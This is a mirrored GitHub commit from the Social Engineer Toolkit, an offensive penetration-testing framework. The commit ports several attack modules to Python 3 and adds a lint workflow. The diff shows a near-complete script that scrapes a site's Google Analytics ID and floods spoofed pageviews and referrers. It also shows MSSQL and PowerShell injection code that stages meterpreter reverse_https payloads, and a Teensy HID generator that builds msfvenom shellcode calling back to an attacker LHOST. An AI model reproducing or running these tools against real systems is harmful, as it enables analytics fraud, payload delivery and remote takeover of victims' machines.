mirror of
https://github.com/trustedsec/social-engineer-toolkit
synced 2024-11-10 06:54:18 +00:00
GitHub Actions: Lint and test our Python code
This commit is contained in:
parent
65e3101f13
commit
0c8cd8c21c
13 changed files with 153 additions and 93 deletions
35
.github/workflows/Python_tests.yml
vendored
Normal file
35
.github/workflows/Python_tests.yml
vendored
Normal file
|
@ -0,0 +1,35 @@
|
|||
name: Python_tests
|
||||
on: [push, pull_request]
|
||||
jobs:
|
||||
Python_tests:
|
||||
runs-on: ${{ matrix.os }}
|
||||
strategy:
|
||||
fail-fast: false
|
||||
matrix:
|
||||
os: [macos-latest, ubuntu-latest, windows-latest]
|
||||
python-version: [3.5, 3.6, 3.7, 3.8]
|
||||
steps:
|
||||
- uses: actions/checkout@v1
|
||||
- name: Set up Python ${{ matrix.python-version }}
|
||||
uses: actions/setup-python@v1
|
||||
with:
|
||||
python-version: ${{ matrix.python-version }}
|
||||
- name: Install dependencies
|
||||
run: |
|
||||
python -m pip install --upgrade pip
|
||||
pip install flake8 pytest -r requirements.txt
|
||||
#- name: Check formatting with black
|
||||
# if: matrix.os == 'ubuntu-latest' && matrix.python-version == '3.8'
|
||||
# run: |
|
||||
# pip install black
|
||||
# black --check .
|
||||
- name: Lint with flake8
|
||||
run: |
|
||||
# stop the build if there are Python syntax errors or undefined names
|
||||
flake8 . --count --select=E9,F63,F7,F82 --show-source --statistics
|
||||
# exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
|
||||
flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
|
||||
#- name: Test with pytest
|
||||
# run: pytest
|
||||
#- name: Run doctests with pytest
|
||||
# run: pytest --doctest-modules
|
|
@ -1,12 +1,18 @@
|
|||
#!/usr/bin/env python
|
||||
print "Loading module. Please wait..."
|
||||
import src.core.setcore
|
||||
from __future__ import print_function
|
||||
print("Loading module. Please wait...")
|
||||
import src.core.setcore
|
||||
import sys
|
||||
import requests
|
||||
import re
|
||||
import time
|
||||
import random
|
||||
|
||||
try:
|
||||
input = raw_input
|
||||
except NameError:
|
||||
pass
|
||||
|
||||
MAIN="Google Analytics Attack by @ZonkSec"
|
||||
AUTHOR="Tyler Rosonke (@ZonkSec)"
|
||||
|
||||
|
@ -14,43 +20,43 @@ AUTHOR="Tyler Rosonke (@ZonkSec)"
|
|||
def main():
|
||||
print_title()
|
||||
# determins if auto or manual, then calls functions
|
||||
mode_choice = raw_input("[*] Choose mode (automatic/manual): ")
|
||||
mode_choice = input("[*] Choose mode (automatic/manual): ")
|
||||
if mode_choice in ("automatic","auto"):
|
||||
print "\n[*] Entering automatic mode.\n"
|
||||
url = raw_input("[*] Target website (E.g. 'http://xyz.com/'): ")
|
||||
print("\n[*] Entering automatic mode.\n")
|
||||
url = input("[*] Target website (E.g. 'http://xyz.com/'): ")
|
||||
params = auto_params(url)
|
||||
elif mode_choice in ("manual","man"):
|
||||
print "\n[*] Entering manual mode."
|
||||
print("\n[*] Entering manual mode.")
|
||||
params = manual_params()
|
||||
else:
|
||||
print "\n[-] Invalid mode.\n"
|
||||
print("\n[-] Invalid mode.\n")
|
||||
sys.exit()
|
||||
# params have been collected, prompts for print
|
||||
print "\n[+] Payload ready."
|
||||
printchoice = raw_input("\n[*] Print payload?(y/n): ")
|
||||
print("\n[+] Payload ready.")
|
||||
printchoice = input("\n[*] Print payload?(y/n): ")
|
||||
if printchoice == "y":
|
||||
print_params(params)
|
||||
|
||||
|
||||
#sends request
|
||||
raw_input("\nPress <enter> to send payload.")
|
||||
input("\nPress <enter> to send payload.")
|
||||
send_spoof(params)
|
||||
|
||||
#prompts for loop, calls function if need be
|
||||
loopchoice = raw_input("\n[*] Send payload on loop?(y/n) ")
|
||||
loopchoice = input("\n[*] Send payload on loop?(y/n) ")
|
||||
if loopchoice == "y":
|
||||
looper(params)
|
||||
raw_input("\n\nThis module has finished completing. Press <enter> to continue")
|
||||
input("\n\nThis module has finished completing. Press <enter> to continue")
|
||||
|
||||
### print_params - loops through params and prints
|
||||
def print_params(params):
|
||||
print
|
||||
print()
|
||||
for entry in params:
|
||||
print entry + " = " + params[entry]
|
||||
print(entry + " = " + params[entry])
|
||||
|
||||
### looper - prompts for seconds to sleep, starts loop
|
||||
def looper(params):
|
||||
secs = raw_input("[*] Seconds between payload sends: ")
|
||||
raw_input("\nSending request every "+secs+" seconds. Use CTRL+C to terminate. Press <enter> to begin loop.")
|
||||
secs = input("[*] Seconds between payload sends: ")
|
||||
input("\nSending request every "+secs+" seconds. Use CTRL+C to terminate. Press <enter> to begin loop.")
|
||||
while True:
|
||||
send_spoof(params)
|
||||
time.sleep(int(secs))
|
||||
|
@ -59,8 +65,8 @@ def looper(params):
|
|||
def send_spoof(params):
|
||||
params['cid'] = random.randint(100,999)
|
||||
r = requests.get('https://www.google-analytics.com/collect', params=params)
|
||||
print "\n[+] Payload sent."
|
||||
print r.url
|
||||
print("\n[+] Payload sent.")
|
||||
print(r.url)
|
||||
|
||||
### auto_params - makes request to target site, regexes for params
|
||||
def auto_params(url):
|
||||
|
@ -69,24 +75,24 @@ def auto_params(url):
|
|||
host = str(m.group(1))
|
||||
page = "/" + str(m.group(3))
|
||||
except:
|
||||
print "\n[-] Unable to parse URL for host/page. Did you forget an ending '/'?\n"
|
||||
print("\n[-] Unable to parse URL for host/page. Did you forget an ending '/'?\n")
|
||||
sys.exit()
|
||||
try: #makes request to target page
|
||||
r = requests.get(url)
|
||||
except:
|
||||
print "\n[-] Unable to reach target website for parsing.\n"
|
||||
print("\n[-] Unable to reach target website for parsing.\n")
|
||||
sys.exit()
|
||||
try: #parses target webpage for title
|
||||
m = re.search('<title>(.*)<\/title>', r.text)
|
||||
page_title = str(m.group(1))
|
||||
except:
|
||||
print "\n[-] Unable to parse target page for title.\n"
|
||||
print("\n[-] Unable to parse target page for title.\n")
|
||||
sys.exit()
|
||||
try: #parses target webpage for tracking id
|
||||
m = re.search("'(UA-(.*))',", r.text)
|
||||
tid = str(m.group(1))
|
||||
except:
|
||||
print "\n[-] Unable to find TrackingID (UA-XXXXX). Website may not be running Google Anayltics.\n"
|
||||
print("\n[-] Unable to find TrackingID (UA-XXXXX). Website may not be running Google Anayltics.\n")
|
||||
sys.exit()
|
||||
#builds params dict
|
||||
params = {}
|
||||
|
@ -98,30 +104,30 @@ def auto_params(url):
|
|||
params['dp'] = page
|
||||
params['dt'] = page_title
|
||||
params['aip'] = "1"
|
||||
params['dr'] = raw_input("\n[*] Enter referral URL to spoof (E.g. 'http://xyz.com/'): ")
|
||||
params['dr'] = input("\n[*] Enter referral URL to spoof (E.g. 'http://xyz.com/'): ")
|
||||
return params
|
||||
|
||||
### manual_params - prompts for all params
|
||||
def manual_params():
|
||||
params = {}
|
||||
params['v'] = "1"
|
||||
params['tid'] = raw_input("\n[*] Enter TrackingID (tid)(UA-XXXXX): ")
|
||||
params['tid'] = input("\n[*] Enter TrackingID (tid)(UA-XXXXX): ")
|
||||
params['cid'] = "555"
|
||||
params['t'] = "pageview"
|
||||
params['aip'] = "1"
|
||||
params['dh'] = raw_input("[*] Enter target host (dh)(E.g. 'http://xyz.xyz)': ")
|
||||
params['dp'] = raw_input("[*] Enter target page (dp)(E.g. '/aboutme'): ")
|
||||
params['dt'] = raw_input("[*] Enter target page title (dt)(E.g. 'About Me'): ")
|
||||
params['dr'] = raw_input("[*] Enter referal page to spoof (dr): ")
|
||||
params['dh'] = input("[*] Enter target host (dh)(E.g. 'http://xyz.xyz)': ")
|
||||
params['dp'] = input("[*] Enter target page (dp)(E.g. '/aboutme'): ")
|
||||
params['dt'] = input("[*] Enter target page title (dt)(E.g. 'About Me'): ")
|
||||
params['dr'] = input("[*] Enter referal page to spoof (dr): ")
|
||||
return params
|
||||
|
||||
### print_title - prints title and references
|
||||
def print_title():
|
||||
print "\n----------------------------------"
|
||||
print " Google Analytics Attack "
|
||||
print " By Tyler Rosonke (@ZonkSec) "
|
||||
print "----------------------------------\n"
|
||||
print "User-Guide: http://www.zonksec.com/blog/social-engineering-google-analytics/\n"
|
||||
print "References:"
|
||||
print "-https://developers.google.com/analytics/devguides/collection/protocol/v1/reference"
|
||||
print "-https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters\n\n"
|
||||
print("\n----------------------------------")
|
||||
print(" Google Analytics Attack ")
|
||||
print(" By Tyler Rosonke (@ZonkSec) ")
|
||||
print("----------------------------------\n")
|
||||
print("User-Guide: http://www.zonksec.com/blog/social-engineering-google-analytics/\n")
|
||||
print("References:")
|
||||
print("-https://developers.google.com/analytics/devguides/collection/protocol/v1/reference")
|
||||
print("-https://developers.google.com/analytics/devguides/collection/protocol/v1/parameters\n\n")
|
||||
|
|
|
@ -1,17 +1,19 @@
|
|||
#!/usr/bin/env python
|
||||
from src.core.setcore import debug_msg, mod_name
|
||||
import subprocess
|
||||
import re
|
||||
import subprocess
|
||||
import sys
|
||||
import src
|
||||
from src.core import module_reload
|
||||
from src.core.setcore import debug_msg, meta_path, mod_name
|
||||
|
||||
me = mod_name()
|
||||
|
||||
sys.path.append("src/core")
|
||||
debug_msg(me, "re-importing 'src.core.setcore'", 1)
|
||||
try:
|
||||
module_reload(setcore)
|
||||
module_reload(src.core.setcore)
|
||||
except:
|
||||
import setcore
|
||||
import src.core.setcore
|
||||
print("[---] Updating the Social Engineer Toolkit FileFormat Exploit List [---]")
|
||||
generate_list = subprocess.Popen(
|
||||
"%s/msfcli | grep fileformat > src/core/msf_attacks/database/msf.database" % (meta_path), shell=True).wait()
|
||||
|
|
|
@ -349,7 +349,7 @@ class _fileobject(object):
|
|||
while True:
|
||||
try:
|
||||
data = self._sock.recv(rbufsize)
|
||||
except error, e:
|
||||
except error as e:
|
||||
if e.args[0] == EINTR:
|
||||
continue
|
||||
raise
|
||||
|
@ -378,7 +378,7 @@ class _fileobject(object):
|
|||
# fragmentation issues on many platforms.
|
||||
try:
|
||||
data = self._sock.recv(left)
|
||||
except error, e:
|
||||
except error as e:
|
||||
if e.args[0] == EINTR:
|
||||
continue
|
||||
raise
|
||||
|
@ -431,7 +431,7 @@ class _fileobject(object):
|
|||
if not data:
|
||||
break
|
||||
buffers.append(data)
|
||||
except error, e:
|
||||
except error as e:
|
||||
# The try..except to catch EINTR was moved outside the
|
||||
# recv loop to avoid the per byte overhead.
|
||||
if e.args[0] == EINTR:
|
||||
|
@ -445,7 +445,7 @@ class _fileobject(object):
|
|||
while True:
|
||||
try:
|
||||
data = self._sock.recv(self._rbufsize)
|
||||
except error, e:
|
||||
except error as e:
|
||||
if e.args[0] == EINTR:
|
||||
continue
|
||||
raise
|
||||
|
|
|
@ -5,7 +5,9 @@ import binascii
|
|||
import os
|
||||
import shutil
|
||||
import subprocess
|
||||
import thread
|
||||
import time
|
||||
import pexpect
|
||||
import src.core.setcore as core
|
||||
import impacket.tds as tds
|
||||
|
||||
|
@ -174,7 +176,7 @@ def deploy_hex2binary(ipaddr, port, username, password):
|
|||
web_path = None
|
||||
|
||||
#prep_powershell_payload()
|
||||
import src.core.payloadgen.create_payloads
|
||||
import src.core.payloadgen.create_payloads
|
||||
|
||||
# if we are using a SET interactive shell payload then we need to make
|
||||
# the path under web_clone versus ~./set
|
||||
|
@ -242,7 +244,7 @@ def deploy_hex2binary(ipaddr, port, username, password):
|
|||
|
||||
#with open(os.path.join(core.userconfigpath, "payload_options.shellcode"), "w") as filewrite:
|
||||
# format needed for shellcode generation
|
||||
filewrite = file(core.userconfigpath + "payload_options.shellcode", "w")
|
||||
filewrite = open(core.userconfigpath + "payload_options.shellcode", "w")
|
||||
filewrite.write("windows/meterpreter/reverse_https {0},".format(port))
|
||||
filewrite.close()
|
||||
|
||||
|
@ -256,8 +258,8 @@ def deploy_hex2binary(ipaddr, port, username, password):
|
|||
if not os.path.isdir(os.path.join(core.userconfigpath, "reports/powershell")):
|
||||
os.makedirs(os.path.join(core.userconfigpath, "reports/powershell"))
|
||||
|
||||
x86 = file(core.userconfigpath + "x86.powershell").read().rstrip()
|
||||
x86 = core.powershell_encodedcommand(x86)
|
||||
x86 = open(core.userconfigpath + "x86.powershell").read().rstrip()
|
||||
x86 = core.powershell_encodedcommand(x86)
|
||||
core.print_status("If you want the powershell commands and attack, "
|
||||
"they are exported to {0}".format(os.path.join(core.userconfigpath, "reports/powershell")))
|
||||
filewrite = open(core.userconfigpath + "reports/powershell/x86_powershell_injection.txt", "w")
|
||||
|
|
|
@ -7,6 +7,7 @@
|
|||
import os
|
||||
import subprocess
|
||||
|
||||
import src
|
||||
import src.core.setcore as core
|
||||
|
||||
# Py2/3 compatibility
|
||||
|
@ -84,9 +85,9 @@ try:
|
|||
os.makedirs(os.path.join(core.userconfigpath, "reports/powershell"))
|
||||
|
||||
x86 = open(core.userconfigpath + "x86.powershell", "r").read()
|
||||
x86 = core.powershell_encodedcommand(x86)
|
||||
x86 = core.powershell_encodedcommand(x86)
|
||||
core.print_status("If you want the powershell commands and attack, they are exported to {0}".format(os.path.join(core.userconfigpath, "reports/powershell")))
|
||||
filewrite = file(core.userconfigpath + "reports/powershell/x86_powershell_injection.txt", "w")
|
||||
filewrite = open(core.userconfigpath + "reports/powershell/x86_powershell_injection.txt", "w")
|
||||
filewrite.write(x86)
|
||||
filewrite.close()
|
||||
payload = "windows/meterpreter/reverse_https\n" # if we are using x86
|
||||
|
|
|
@ -10,6 +10,7 @@ import os
|
|||
import shutil
|
||||
import subprocess
|
||||
|
||||
import src
|
||||
import src.core.setcore as core
|
||||
from src.core.menu import text
|
||||
|
||||
|
@ -57,7 +58,7 @@ if powershell_menu_choice != "99":
|
|||
# here we format everything for us
|
||||
with open(core.userconfigpath + "x86.powershell") as fileopen:
|
||||
x86 = fileopen.read()
|
||||
x86 = core.powershell_encodedcommand(x86)
|
||||
x86 = core.powershell_encodedcommand(x86)
|
||||
core.print_status("If you want the powershell commands and attack, they are exported to {0}".format(os.path.join(core.userconfigpath, "reports/powershell/")))
|
||||
with open(core.userconfigpath + "reports/powershell/x86_powershell_injection.txt", "w") as filewrite:
|
||||
filewrite.write(x86)
|
||||
|
|
|
@ -1,9 +1,15 @@
|
|||
#!/usr/bin/python
|
||||
from __future__ import print_function
|
||||
import binascii,base64,sys,os,random,string,subprocess,socket
|
||||
from src.core.setcore import *
|
||||
from src.core.dictionaries import *
|
||||
from src.core.menu.text import *
|
||||
|
||||
try:
|
||||
input = raw_input
|
||||
except NameError:
|
||||
pass
|
||||
|
||||
################################################################################################
|
||||
#
|
||||
# BSIDES LV EXE to Teensy Creator
|
||||
|
@ -47,7 +53,7 @@ shell_exec = "4d5a90000300000004000000ffff0000b800000000000000400000000000000000
|
|||
#########################################
|
||||
|
||||
# print main stuff for the application
|
||||
print """
|
||||
print("""
|
||||
********************************************************************
|
||||
BSIDES Las Vegas ---- EXE to Teensy Creator
|
||||
********************************************************************
|
||||
|
@ -59,7 +65,7 @@ place it onto a victim machine through hex to binary conversion via powershell.
|
|||
|
||||
After the conversion takes place, Alphanumeric shellcode will then be injected
|
||||
straight into memory and the stager created and shot back to you.
|
||||
"""
|
||||
""")
|
||||
|
||||
# if we dont detect metasploit
|
||||
if not os.path.isfile(msf_path): sys.exit("\n[!] Your no gangster... Metasploit not detected, check set_config.\n")
|
||||
|
@ -70,7 +76,7 @@ if not os.path.isfile(msf_path): sys.exit("\n[!] Your no gangster... Metasploit
|
|||
###################################################
|
||||
|
||||
show_payload_menu2 = create_menu(payload_menu_2_text, payload_menu_2)
|
||||
payload=(raw_input(setprompt(["14"], "")))
|
||||
payload=(input(setprompt(["14"], "")))
|
||||
|
||||
if payload == "exit" :
|
||||
exit_set()
|
||||
|
@ -84,7 +90,7 @@ payload=ms_payload(payload)
|
|||
# if we're downloading and executing a file
|
||||
url = ""
|
||||
if payload == "windows/download_exec":
|
||||
url = raw_input(setprompt(["6"], "The URL with the payload to download and execute"))
|
||||
url = input(setprompt(["6"], "The URL with the payload to download and execute"))
|
||||
url = "set URL " + url
|
||||
|
||||
#
|
||||
|
@ -97,7 +103,7 @@ ipaddr = grab_ipaddress()
|
|||
try:
|
||||
# grab port number
|
||||
while 1:
|
||||
port = raw_input(setprompt(["6"], "Port to listen on [443]"))
|
||||
port = input(setprompt(["6"], "Port to listen on [443]"))
|
||||
# assign port if enter is specified
|
||||
if port == "": port = 443
|
||||
try:
|
||||
|
@ -118,11 +124,11 @@ try:
|
|||
|
||||
# except keyboardintterupts here
|
||||
except KeyboardInterrupt:
|
||||
print """
|
||||
print("""
|
||||
.-. .-. . . .-. .-. .-. .-. .-. . . .-. .-. .-.
|
||||
|.. |-| |\| |.. `-. | |- |( |\/| | | | )|-
|
||||
`-' ` ' ' ` `-' `-' ' `-' ' ' ' ` `-' `-' `-'
|
||||
disabled.\n"""
|
||||
disabled.\n""")
|
||||
|
||||
sys.exit("\n[!] Control-C detected. Bombing out. Later Gangster...\n\n")
|
||||
|
||||
|
|
|
@ -1,7 +1,13 @@
|
|||
#!/usr/bin/python
|
||||
from __future__ import print_function
|
||||
import os,subprocess,sys
|
||||
import teensy_gen
|
||||
|
||||
try:
|
||||
input = raw_input
|
||||
except NameError:
|
||||
pass
|
||||
|
||||
# Python script to automate the generation of ino files for the Teensy HID attack executing shellcode using msbuild.exe
|
||||
# This appears to be functional with my limited testing so if you know a better way please feel free to improve.
|
||||
# The code below takes the files listed containing embedded labels and formats their contents to form the ino file.
|
||||
|
@ -34,37 +40,37 @@ ino_tail_filename = '/usr/share/set/src/teensy/ino_tail.txt'
|
|||
xml_input_filename = '/usr/share/set/src/teensy/ino_build_file.xml' # File containing the xml build structure to be incorporated into the ino file.
|
||||
|
||||
# User selection - default values
|
||||
print '\n-----default settings for shellcode generation-----\n'
|
||||
print 'LHOST - '+lhost_ipaddr
|
||||
print 'Shell Architecture - '+shell_arch
|
||||
print 'Shell platform - '+shell_plat
|
||||
print 'Payload - '+payload
|
||||
print 'Encapsulation - '+encap
|
||||
print '\n-----default settings for C# XML file-----\n'
|
||||
print 'User variable for file location - '+enviro_var
|
||||
print 'XML Output filename - '+xml_output_filename
|
||||
print 'Location of msbuild.exe - '+build_path+'\n'
|
||||
print('\n-----default settings for shellcode generation-----\n')
|
||||
print('LHOST - '+lhost_ipaddr)
|
||||
print('Shell Architecture - '+shell_arch)
|
||||
print('Shell platform - '+shell_plat)
|
||||
print('Payload - '+payload)
|
||||
print('Encapsulation - '+encap)
|
||||
print('\n-----default settings for C# XML file-----\n')
|
||||
print('User variable for file location - '+enviro_var)
|
||||
print('XML Output filename - '+xml_output_filename)
|
||||
print('Location of msbuild.exe - '+build_path+'\n')
|
||||
|
||||
# User selection - Choices
|
||||
change_settings = raw_input("\nWould you like to change the default settings (y/n)")
|
||||
if ( change_settings == 'y' or change_settings == 'Y'):
|
||||
lhost_ipaddr = teensy_gen.check_input(lhost_ipaddr, raw_input("\nPlease enter the new LHOST ip address - "))
|
||||
shell_arch = teensy_gen.check_input(shell_arch, raw_input("Please enter the new shellcode architecture (choices) - "))
|
||||
shell_plat = teensy_gen.check_input(shell_plat, raw_input("Please enter the new shellcode platform (choices) - "))
|
||||
payload = teensy_gen.check_input(payload, raw_input("Please enter the new shellcode payload - "))
|
||||
encap = teensy_gen.check_input(encap, raw_input("Please enter the new shellcode encpsulation - "))
|
||||
enviro_var = teensy_gen.check_input(enviro_var, raw_input("Please enter the new environmental variable for the file location - "))
|
||||
xml_output_filename = teensy_gen.check_input(xml_output_filename, raw_input("Please enter the new filename for the XML output file - "))
|
||||
build_path = teensy_gen.check_input(build_path, raw_input("Please enter the new location of msbuild.exe - "))
|
||||
change_settings = input("\nWould you like to change the default settings (y/n)")
|
||||
if change_settings in ('y', 'Y'):
|
||||
lhost_ipaddr = teensy_gen.check_input(lhost_ipaddr, input("\nPlease enter the new LHOST ip address - "))
|
||||
shell_arch = teensy_gen.check_input(shell_arch, input("Please enter the new shellcode architecture (choices) - "))
|
||||
shell_plat = teensy_gen.check_input(shell_plat, input("Please enter the new shellcode platform (choices) - "))
|
||||
payload = teensy_gen.check_input(payload, input("Please enter the new shellcode payload - "))
|
||||
encap = teensy_gen.check_input(encap, input("Please enter the new shellcode encpsulation - "))
|
||||
enviro_var = teensy_gen.check_input(enviro_var, input("Please enter the new environmental variable for the file location - "))
|
||||
xml_output_filename = teensy_gen.check_input(xml_output_filename, input("Please enter the new filename for the XML output file - "))
|
||||
build_path = teensy_gen.check_input(build_path, input("Please enter the new location of msbuild.exe - "))
|
||||
else:
|
||||
print '\n-----Using default settings-----\n'
|
||||
print('\n-----Using default settings-----\n')
|
||||
|
||||
# Main code
|
||||
|
||||
with open(ino_output_filename,'wb') as ino_output_file: # Open the ino output file as a write to receive the formatted text.
|
||||
if os.path.isfile(ino_header_filename):
|
||||
with open(ino_header_filename,'rb') as ino_header_file: # Open the ino header file as readonly.
|
||||
print '-----Formatting ino header file-----' # Progress notification to the user.
|
||||
print('-----Formatting ino header file-----') # Progress notification to the user.
|
||||
for ino_header_line in ino_header_file: # Read each line from the file.
|
||||
ino_header_line = ino_header_line.rstrip() # Strip the formatting on the rhs of each line.
|
||||
if ( ino_header_line == '-----create-----'): # Check for the presence of the create label.
|
||||
|
@ -83,7 +89,7 @@ with open(ino_output_filename,'wb') as ino_output_file: # Op
|
|||
|
||||
if os.path.isfile(xml_input_filename):
|
||||
with open(xml_input_filename,'rb') as xml_include_file: # Open the XML file.
|
||||
print '-----Formatting XML file for ino file-----' # Progress notification to the user.
|
||||
print('-----Formatting XML file for ino file-----') # Progress notification to the user.
|
||||
for input_line in xml_include_file: # Read each line from the file.
|
||||
input_line = input_line.rstrip() # Strip the formatting on the rhs of each line.
|
||||
input_line = input_line.replace("\\", "\\\\") # Escape the \ in each line using \\.
|
||||
|
@ -91,7 +97,7 @@ with open(ino_output_filename,'wb') as ino_output_file: # Op
|
|||
|
||||
if ( input_line == '-----shellcode-----'): # Check for the presence of the shellcode label.
|
||||
# generate the shellcode using msfvenom
|
||||
print '-----Generating shellcode-----' # Progress notification to the user.
|
||||
print('-----Generating shellcode-----') # Progress notification to the user.
|
||||
proc = subprocess.Popen("%smsfvenom -a %s --platform %s -p %s LHOST=%s -e %s -f %s -v shellcode" % (meta_path,shell_arch,shell_plat,payload,lhost_ipaddr,encap,shell_format), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
|
||||
|
||||
# read in the generated shellcode using stdout
|
||||
|
@ -99,13 +105,13 @@ with open(ino_output_filename,'wb') as ino_output_file: # Op
|
|||
length = len(payload_shellcode) # assign the string length of the generated shellcode to the var length.
|
||||
payload_shellcode = payload_shellcode.strip() # Strip formatting from the payload.
|
||||
|
||||
print '-----Formatting shellcode for ino file-----' # Progress notification to the user.
|
||||
print('-----Formatting shellcode for ino file-----') # Progress notification to the user.
|
||||
ino_output_file.writelines( teensy_gen.ino_print_gen(payload_shellcode[0:34] ) + '\n' ) # format first line as shorter than rest.
|
||||
|
||||
while (start_pos <= length): # format the remaning lines of shellcode.
|
||||
end_pos = start_pos + width # Set the position of end_pos.
|
||||
if (end_pos >= (length - 3)): # Check if end position is greater than the length of the shellcode.
|
||||
end_pos = length # set the end position for the last line.
|
||||
end_pos = length # set the end position for the last line.
|
||||
ino_output_file.writelines( teensy_gen.ino_print_gen(payload_shellcode[start_pos:end_pos] ) + '\n' ) # Print formatted shellcode section between start_pos and end_pos.
|
||||
start_pos = end_pos + 1 # move the start_pos to the next position from the end of the previous.
|
||||
else: # If not the shellcode label.
|
||||
|
@ -118,7 +124,7 @@ with open(ino_output_filename,'wb') as ino_output_file: # Op
|
|||
|
||||
if os.path.isfile(ino_tail_filename):
|
||||
with open(ino_tail_filename,'rb') as ino_tail_file: # Open the ino tail file.
|
||||
print '-----Formatting ino tail file-----' # Progress notification to the user.
|
||||
print('-----Formatting ino tail file-----') # Progress notification to the user.
|
||||
for ino_tail_line in ino_tail_file: # Read each line from the file.
|
||||
ino_tail_line = ino_tail_line.rstrip() # Strip the formatting on the rhs of each line.
|
||||
if ( ino_tail_line == '-----build-----'): # Check for the presence of the build label.
|
||||
|
@ -128,8 +134,8 @@ with open(ino_output_filename,'wb') as ino_output_file: # Op
|
|||
|
||||
ino_tail_file.close() # Close the ino tail file.
|
||||
|
||||
print '-----Finished creating ino file ino_file_gen.ino-----' # Progress notification to the user.
|
||||
user_return = raw_input("Please press any key")
|
||||
print('-----Finished creating ino file ino_file_gen.ino-----') # Progress notification to the user.
|
||||
user_return = input("Please press any key")
|
||||
else:
|
||||
sys.exit('-----Exiting file - '+ino_tail_filename+' does not exist-----')
|
||||
|
||||
|
|
|
@ -1,11 +1,12 @@
|
|||
from __future__ import print_function
|
||||
# teensy_gen Functions
|
||||
|
||||
def check_input(orig_value, user_value):
|
||||
if ( user_value == '' ):
|
||||
print 'Keeping orginal value'
|
||||
print('Keeping orginal value')
|
||||
return (orig_value)
|
||||
else:
|
||||
print 'Value changed from - '+orig_value+' to '+user_value
|
||||
print('Value changed from - '+orig_value+' to '+user_value)
|
||||
return (user_value)
|
||||
|
||||
def ino_print_gen(text_to_include): # Define ino_print_gen function taking the text to be formatted for the ino file.
|
||||
|
|
|
@ -588,7 +588,7 @@ def ssl_server(HandlerClass=SETHandler, ServerClass=SecureHTTPServer):
|
|||
httpd = ServerClass(server_address, HandlerClass)
|
||||
# serve the httpd server until exit
|
||||
httpd.serve_forever()
|
||||
except Exception, e:
|
||||
except Exception as e:
|
||||
print_error("Something went wrong.. Printing error: " + str(e))
|
||||
|
||||
if track_email == True:
|
||||
|
|
|
@ -9,7 +9,7 @@ import src.core.setcore as core
|
|||
#
|
||||
|
||||
try: input = raw_input
|
||||
except: pass
|
||||
except NameError: pass
|
||||
|
||||
interface = input(core.setprompt(["8"], "Enter your wireless interface (ex: wlan0): "))
|
||||
|
||||
|
|
|
@ -23,7 +23,7 @@ from set_config import DNSSPOOF_PATH as dnsspoof_path
|
|||
sys.path.append(core.definepath)
|
||||
|
||||
try: input = raw_input
|
||||
except: pass
|
||||
except NameError: pass
|
||||
|
||||
if not os.path.isfile("/etc/init.d/isc-dhcp-server"):
|
||||
core.print_warning("isc-dhcp-server does not appear to be installed.")
|
||||
|
|
Loading…
Reference in a new issue